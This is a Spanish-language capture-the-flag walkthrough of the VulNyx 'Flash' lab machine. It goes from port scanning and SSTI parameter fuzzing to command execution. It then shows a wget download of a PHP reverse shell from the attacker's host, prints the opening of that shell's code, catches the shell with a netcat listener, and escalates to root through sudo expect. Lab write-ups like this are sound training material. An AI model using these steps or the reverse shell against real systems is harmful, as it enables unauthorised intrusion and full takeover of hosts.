VulNyx - Flash
- Server Side Template Injection
- Upload Shell
- Abuse Expect Binary
Escaneo de puertos
❯ nmap -p- -v -T5 -n 192.168.1.14
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
8080/tcp open http-proxy
Escaneo de servicios
❯ nmap -sVC -v -p 22,80,8080 192.168.1.14
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 f0e624fb9eb07a1abdf7b185237fb16f (RSA)
| 256 99c87431451058b0cecc63b47a82573d (ECDSA)
|_ 256 60da3e3138fab549ab48c3432c9fd132 (ED25519)
80/tcp open http nginx 1.18.0
|_http-server-header: nginx/1.18.0
| http-methods:
|_ Supported Methods: GET HEAD
|_http-title: Site doesn't have a title (text/html).
8080/tcp open http-proxy Werkzeug/2.3.4 Python/3.9.2
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 404 NOT FOUND
| Server: Werkzeug/2.3.4 Python/3.9.2
| Date: Fri, 02 Jun 2023 23:43:29 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 207
| Connection: close
| <!doctype html>
| <html lang=en>
| <title>404 Not Found</title>
| <h1>Not Found</h1>
| <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
| GetRequest:
| HTTP/1.1 200 OK
| Server: Werkzeug/2.3.4 Python/3.9.2
| Date: Fri, 02 Jun 2023 23:43:29 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 18
| Connection: close
| <h2>Love you!</h2>
| HTTPOptions:
| HTTP/1.1 200 OK
| Server: Werkzeug/2.3.4 Python/3.9.2
| Date: Fri, 02 Jun 2023 23:43:29 GMT
| Content-Type: text/html; charset=utf-8
| Allow: GET, OPTIONS, HEAD
| Content-Length: 0
| Connection: close
| RTSPRequest:
| <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
| "http://www.w3.org/TR/html4/strict.dtd">
| <html>
| <head>
| <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
| <title>Error response</title>
| </head>
| <body>
| <h1>Error response</h1>
| <p>Error code: 400</p>
| <p>Message: Bad request version ('RTSP/1.0').</p>
| <p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p>
| </body>
| </html>
| Socks5:
| <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
| "http://www.w3.org/TR/html4/strict.dtd">
| <html>
| <head>
| <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
| <title>Error response</title>
| </head>
| <body>
| <h1>Error response</h1>
| <p>Error code: 400</p>
| <p>Message: Bad request syntax ('
| ').</p>
| <p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p>
| </body>
|_ </html>
|_http-server-header: Werkzeug/2.3.4 Python/3.9.2
| http-methods:
|_ Supported Methods: GET OPTIONS HEAD
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
En el puerto 80 hay un servidor web nginx/1.18.0
y un mensaje que pone Love You!.
En el puerto 8080 hay un servidor web Werkzeug/2.3.4 Python/3.9.2
y tiene el mismo mensaje Love You!.
Al tratarse de un servidor web en python y en este caso es vulnerable al ssti realizo una búsqueda de parámetro para tener un campo donde inyectar código.
Gracias d4t4s3c por la pista.
❯ wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/common.txt -u 'http://192.168.1.14:8080/?FUZZ={{7 * 7}}' --hh=18
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://192.168.1.14:8080/?FUZZ={{7%20*%207}}
Total requests: 4713
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000002793: 200 0 L 2 W 17 Ch "name"
Uso el parámetro name y me devuelve el resultado.
Leyendo el apartado SSTI de PayloadsAllTheThings he encontrado esto.
En Python,
os.popen().read()
es una función que se utiliza para ejecutar un comando en el sistema operativo y capturar la salida generada por ese comando. La funciónread()
se utiliza para leer el resultado completo de la ejecución del comando.
Obtengo el usuario randy.
Como puedo ejecutar comandos me lanzo una BASH URL Encode.
Una vez conectado al sistema enumero permisos de sudo y me encuentro con rabbit hole.
randy@flash:~$ sudo -l
Matching Defaults entries for randy on flash:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User randy may run the following commands on flash:
(root) NOPASSWD: /usr/bin/ccal
Hago una búsqueda de archivos de escritura y en /var/www/html
tengo permisos.
randy@flash:/var/www/html$ find / -writable 2>/dev/null | grep -v -i -E 'proc|sys|dev|run' | xargs ls -la
drwxrwxrwx 2 www-data www-data 4096 jun 6 20:34 .
drwxrwxrwx 3 www-data www-data 4096 jun 2 18:19 ..
-rwxrwxrwx 1 www-data www-data 19 jun 2 18:25 index.html
Me descargo rs.php
desde mi máquina atacante.
randy@flash:/var/www/html$ wget 192.168.1.18/rs.php
Conectando con 192.168.1.18:80... conectado.
Petición HTTP enviada, esperando respuesta... 200 OK
Longitud: 3536 (3,5K) [application/octet-stream]
Grabando a: «rs.php»
rs.php 100%[=======================================>] 3,45K --.-KB/s en 0s
Una vez he descargado rs.php
mando una petición con curl y sorpresa no me interpreta php.
curl 192.168.1.14/rs.php
❯ curl 192.168.1.14/rs.php
<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.1.18'; // CHANGE THIS
$port = 4444; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
Dentro del archivo default ubicado en /etc/nginx/sites-available/
encuentro un nombre de dominio y este si interpreta php.
Agrego el nombre de dominio a mi archivo hosts y uso de nuevo curl para mandar una petición a rs.php
.
❯ curl http://loveyouuuuu.nyx/rs.php
Obtengo la shell.
❯ nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.1.18] from (UNKNOWN) [192.168.1.14] 39512
Linux flash 5.10.0-21-amd64 #1 SMP Debian 5.10.162-1 (2023-01-21) x86_64 GNU/Linux
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
randy pts/0 192.168.1.18 19:42 1:19 0.20s 0.20s -bash
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ script /dev/null -c bash
www-data@flash:/$
Enumero permisos de sudo.
www-data@flash:/$ sudo -l
Matching Defaults entries for www-data on flash:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-data may run the following commands on flash:
(root) NOPASSWD: /usr/bin/expect
Para obtener el root he usado este recurso de gtfobins.
www-data@flash:/$ sudo expect -c 'spawn /bin/bash;interact'
spawn /bin/bash
root@flash:/# id
uid=0(root) gid=0(root) groups=0(root)
Y con esto ya tenemos resuelta la máquina Flash.
Saludos!